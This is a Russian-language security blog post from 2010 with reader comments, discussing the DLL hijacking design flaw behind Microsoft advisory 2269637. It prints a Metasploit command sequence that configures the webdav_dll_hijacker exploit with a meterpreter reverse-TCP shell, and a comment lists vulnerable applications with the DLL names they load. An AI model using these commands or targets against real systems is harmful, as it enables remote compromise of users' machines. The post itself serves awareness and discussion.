вторник, 24 августа 2010 г.

0-day by design (Security Advisory (2269637))

На прошлой неделе появилась информация о найденной новой концептуальной уязвимости позволяющий выполнить произвольную динамическую библиотеку, путем подмены ее легального экземпляра. Эта информация появилась от автора Metasploit HDmoore и он сразу приводил пример работы этой уязвимости с iTunes. Народ задергался и понял, что пахнет архитектурной брешью, правда все и так о ней знали уже хрен знает сколько времени и чего задергались все только сейчас непонятно (причем даже MS знал уже не один год об этом). Я в нашем посте на хабре достаточно подробно описал саму уязвимость и возможные пути решения проблемы, но некоторые мысли еще остались и для собственного бложика :)
В последнее время мы наблюдаем уже второй 0-day (первый, история с Lnk) с найденной архитектурной ошибкой, by design так сказать. По своей структуре обе эти уязвимости довольно похожи. Такого рода уязвимости закрываются значительно дольше, да и время жизни эксплуатации таких уязвимостей не сравнимо. Не говоря уже о том, что не нужно заморачиваться со всякими DEP и ASLR. А в данном конкретном случае уязвимыми являются достаточно большое количество приложений. Но вот действительно удивляет то, что MS сама не использует свои  best practices при разработке. Уже появился PoC для Word и PowerPoint. Ну, а generic exploit в составе Metasploit вообще шикарен. Пример эксплуатации:

msf use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "txt"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 6666
msf exploit(webdav_dll_hijacker) > set LHOST
msf exploit(webdav_dll_hijacker) > exploit


P.S.: Как оказалось даже существуют научные работы ("Automatic Detection of Vulnerable Dynamic Component Loadings") по поиску решения этой проблемы.

3 комментария:

  1. баян какой-то - я еще до лебланка читал в инторнете вопли на тему dll hijaqing году этак в 2005-2006. если мне не изменяет склероз тогда все сошлись во мнении что да, фигня какая-то, но практической ценности фича не представляет, ибо нету кода, который мог бы грузить тело .dll по урлу. чего изменилось то с тех пор ?

    ОтветитьУдалить
  2. Ну вот как раз и появился сплойт, который грузит DLL по урлу (http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/webdav_dll_hijacker.rb) :) Я сам собственно был удивлен этим паническим воплям, пока сплойт не посмотрел.

    ОтветитьУдалить
  3. Вот примеры уязвимых приложений:
    Windows Live Email (dwmapi.dll)
    Microsoft Power Point 2010 (pptimpconv.dll)
    Wireshark <= 1.2.10 (airpcap.dll)
    uTorrent <= 2.0.3 (plugin_dll.dll)
    Outlook Express 6 (6.00.2900.2180) (mapi32x.dll)
    Windows Address Book (wab32res.dll)

    ОтветитьУдалить